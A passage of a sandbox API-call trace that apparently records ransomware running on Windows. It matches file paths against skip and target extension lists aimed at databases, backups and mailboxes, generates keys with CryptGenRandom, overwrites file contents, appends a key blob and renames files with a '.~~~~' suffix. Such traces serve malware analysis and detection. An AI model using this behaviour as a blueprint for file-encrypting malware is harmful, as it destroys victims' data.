	[0082.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".MDF") returned 0x0
	[0082.934] lstrlenW (lpString=".bdb") returned 4
	[0082.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".bdb") returned 0x0
	[0082.934] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.934] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0082.935] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.935] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0082.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0082.935] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20292562326) returned 1
	[0082.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9b45c910, dwHighDateTime=0x1d60e1e)) 
	[0082.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0082.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0082.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0082.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac900
	[0082.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac900 | out: hHeap=0x300000) returned 1
	[0082.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa5b0
	[0082.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c588
	[0082.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0082.936] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0082.936] GetLastError () returned 0x0
	[0082.937] GetLastError () returned 0x0
	[0082.937] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0082.937] GetLastError () returned 0x0
	[0082.937] GetLastError () returned 0x0
	[0083.090] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffef039, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.090] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x10fc7, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x10fc7, lpOverlapped=0x0) returned 1
	[0083.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.091] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.091] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.091] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.091] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.091] CloseHandle (hObject=0x124) returned 1
	[0083.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0083.091] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.~~~~")) returned 1
	[0083.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4830 | out: hHeap=0x300000) returned 1
	[0083.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.092] GetLastError () returned 0x0
	[0083.092] RtlWakeConditionVariable () returned 0x365f70
	[0083.092] GetCurrentThreadId () returned 0x3a4
	[0083.093] GetCurrentThreadId () returned 0x3a4
	[0083.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e730
	[0083.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaf88 | out: hHeap=0x300000) returned 1
	[0083.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac7b0 | out: hHeap=0x300000) returned 1
	[0083.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaf88
	[0083.093] lstrlenW (lpString=".scr") returned 4
	[0083.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".scr") returned 0x0
	[0083.093] lstrlenW (lpString=".cmd") returned 4
	[0083.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".cmd") returned 0x0
	[0083.093] lstrlenW (lpString=".dll") returned 4
	[0083.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".dll") returned 0x0
	[0083.093] lstrlenW (lpString=".bat") returned 4
	[0083.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".bat") returned 0x0
	[0083.093] lstrlenW (lpString=".cpl") returned 4
	[0083.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".cpl") returned 0x0
	[0083.093] lstrlenW (lpString=".sys") returned 4
	[0083.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".sys") returned 0x0
	[0083.093] lstrlenW (lpString=".msc") returned 4
	[0083.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".msc") returned 0x0
	[0083.093] lstrlenW (lpString=".com") returned 4
	[0083.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".com") returned 0x0
	[0083.093] lstrlenW (lpString=".lnk") returned 4
	[0083.093] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".lnk") returned 0x0
	[0083.093] lstrlenW (lpString=".msp") returned 4
	[0083.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".msp") returned 0x0
	[0083.094] lstrlenW (lpString=".pif") returned 4
	[0083.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".pif") returned 0x0
	[0083.094] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.094] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.102] lstrlenW (lpString=".sqb") returned 4
	[0083.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".sqb") returned 0x0
	[0083.102] lstrlenW (lpString=".ost") returned 4
	[0083.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".ost") returned 0x0
	[0083.102] lstrlenW (lpString=".txt") returned 4
	[0083.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".txt") returned 0x0
	[0083.102] lstrlenW (lpString=".mdt") returned 4
	[0083.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".mdt") returned 0x0
	[0083.102] lstrlenW (lpString=".BDB") returned 4
	[0083.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".BDB") returned 0x0
	[0083.102] lstrlenW (lpString=".eql") returned 4
	[0083.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".eql") returned 0x0
	[0083.102] lstrlenW (lpString=".DBF") returned 4
	[0083.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".DBF") returned 0x0
	[0083.102] lstrlenW (lpString=".EQL") returned 4
	[0083.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".EQL") returned 0x0
	[0083.102] lstrlenW (lpString=".FDB") returned 4
	[0083.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".FDB") returned 0x0
	[0083.102] lstrlenW (lpString=".EDB") returned 4
	[0083.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".EDB") returned 0x0
	[0083.102] lstrlenW (lpString=".DACPAC") returned 7
	[0083.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".DACPAC") returned 0x0
	[0083.102] lstrlenW (lpString=".VHD") returned 4
	[0083.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".VHD") returned 0x0
	[0083.102] lstrlenW (lpString=".DBV") returned 4
	[0083.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".DBV") returned 0x0
	[0083.102] lstrlenW (lpString=".dacpac") returned 7
	[0083.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".dacpac") returned 0x0
	[0083.103] lstrlenW (lpString=".sdf") returned 4
	[0083.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".sdf") returned 0x0
	[0083.103] lstrlenW (lpString=".accdb") returned 6
	[0083.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".accdb") returned 0x0
	[0083.103] lstrlenW (lpString=".DBX") returned 4
	[0083.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".DBX") returned 0x0
	[0083.103] lstrlenW (lpString=".MDT") returned 4
	[0083.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".MDT") returned 0x0
	[0083.103] lstrlenW (lpString=".SQB") returned 4
	[0083.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".SQB") returned 0x0
	[0083.103] lstrlenW (lpString=".vhd") returned 4
	[0083.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".vhd") returned 0x0
	[0083.103] lstrlenW (lpString=".bac") returned 4
	[0083.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".bac") returned 0x0
	[0083.103] lstrlenW (lpString=".mdf") returned 4
	[0083.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".mdf") returned 0x0
	[0083.103] lstrlenW (lpString=".BAK") returned 4
	[0083.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".BAK") returned 0x0
	[0083.103] lstrlenW (lpString=".BAC") returned 4
	[0083.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".BAC") returned 0x0
	[0083.103] lstrlenW (lpString=".dbs") returned 4
	[0083.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".dbs") returned 0x0
	[0083.103] lstrlenW (lpString=".vhdx") returned 5
	[0083.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".vhdx") returned 0x0
	[0083.103] lstrlenW (lpString=".NDF") returned 4
	[0083.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".NDF") returned 0x0
	[0083.104] lstrlenW (lpString=".dat") returned 4
	[0083.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".dat") returned 0x0
	[0083.104] lstrlenW (lpString=".DBS") returned 4
	[0083.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".DBS") returned 0x0
	[0083.104] lstrlenW (lpString=".CKP") returned 4
	[0083.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".CKP") returned 0x0
	[0083.104] lstrlenW (lpString=".edb") returned 4
	[0083.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".edb") returned 0x0
	[0083.104] lstrlenW (lpString=".PST") returned 4
	[0083.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".PST") returned 0x0
	[0083.104] lstrlenW (lpString=".dbf") returned 4
	[0083.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".dbf") returned 0x0
	[0083.104] lstrlenW (lpString=".SQL") returned 4
	[0083.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".SQL") returned 0x0
	[0083.104] lstrlenW (lpString=".pst") returned 4
	[0083.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".pst") returned 0x0
	[0083.104] lstrlenW (lpString=".dbv") returned 4
	[0083.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".dbv") returned 0x0
	[0083.104] lstrlenW (lpString=".SDF") returned 4
	[0083.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".SDF") returned 0x0
	[0083.104] lstrlenW (lpString=".dtxs") returned 5
	[0083.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".dtxs") returned 0x0
	[0083.104] lstrlenW (lpString=".db3") returned 4
	[0083.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".db3") returned 0x0
	[0083.104] lstrlenW (lpString=".OST") returned 4
	[0083.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".OST") returned 0x0
	[0083.105] lstrlenW (lpString=".dbx") returned 4
	[0083.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".dbx") returned 0x0
	[0083.105] lstrlenW (lpString=".DB3") returned 4
	[0083.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".DB3") returned 0x0
	[0083.105] lstrlenW (lpString=".DAT") returned 4
	[0083.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".DAT") returned 0x0
	[0083.105] lstrlenW (lpString=".VHDX") returned 5
	[0083.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".VHDX") returned 0x0
	[0083.105] lstrlenW (lpString=".ndf") returned 4
	[0083.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".ndf") returned 0x0
	[0083.105] lstrlenW (lpString=".DB") returned 3
	[0083.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".DB") returned 0x0
	[0083.105] lstrlenW (lpString=".sql") returned 4
	[0083.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".sql") returned 0x0
	[0083.105] lstrlenW (lpString=".MYD") returned 4
	[0083.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".MYD") returned 0x0
	[0083.105] lstrlenW (lpString=".DBT") returned 4
	[0083.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".DBT") returned 0x0
	[0083.105] lstrlenW (lpString=".ACCDB") returned 6
	[0083.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".ACCDB") returned 0x0
	[0083.105] lstrlenW (lpString=".fdb") returned 4
	[0083.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".fdb") returned 0x0
	[0083.105] lstrlenW (lpString=".bak") returned 4
	[0083.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".bak") returned 0x0
	[0083.105] lstrlenW (lpString=".myd") returned 4
	[0083.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".myd") returned 0x0
	[0083.105] lstrlenW (lpString=".DTXS") returned 5
	[0083.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".DTXS") returned 0x0
	[0083.106] lstrlenW (lpString=".ckp") returned 4
	[0083.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".ckp") returned 0x0
	[0083.106] lstrlenW (lpString=".dbt") returned 4
	[0083.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".dbt") returned 0x0
	[0083.106] lstrlenW (lpString=".db") returned 3
	[0083.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".db") returned 0x0
	[0083.106] lstrlenW (lpString=".TXT") returned 4
	[0083.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".TXT") returned 0x0
	[0083.106] lstrlenW (lpString=".MDF") returned 4
	[0083.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".MDF") returned 0x0
	[0083.106] lstrlenW (lpString=".bdb") returned 4
	[0083.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".bdb") returned 0x0
	[0083.106] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.106] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0083.107] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.107] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.107] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20309763067) returned 1
	[0083.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9b5d96d0, dwHighDateTime=0x1d60e1e)) 
	[0083.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac7b0
	[0083.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac7b0 | out: hHeap=0x300000) returned 1
	[0083.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aad90
	[0083.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc968
	[0083.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aad90 | out: hHeap=0x300000) returned 1
	[0083.108] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0083.108] GetLastError () returned 0x0
	[0083.109] GetLastError () returned 0x0
	[0083.109] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0083.109] GetLastError () returned 0x0
	[0083.109] GetLastError () returned 0x0
	[0083.254] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffdef, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.254] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x211, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x211, lpOverlapped=0x0) returned 1
	[0083.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
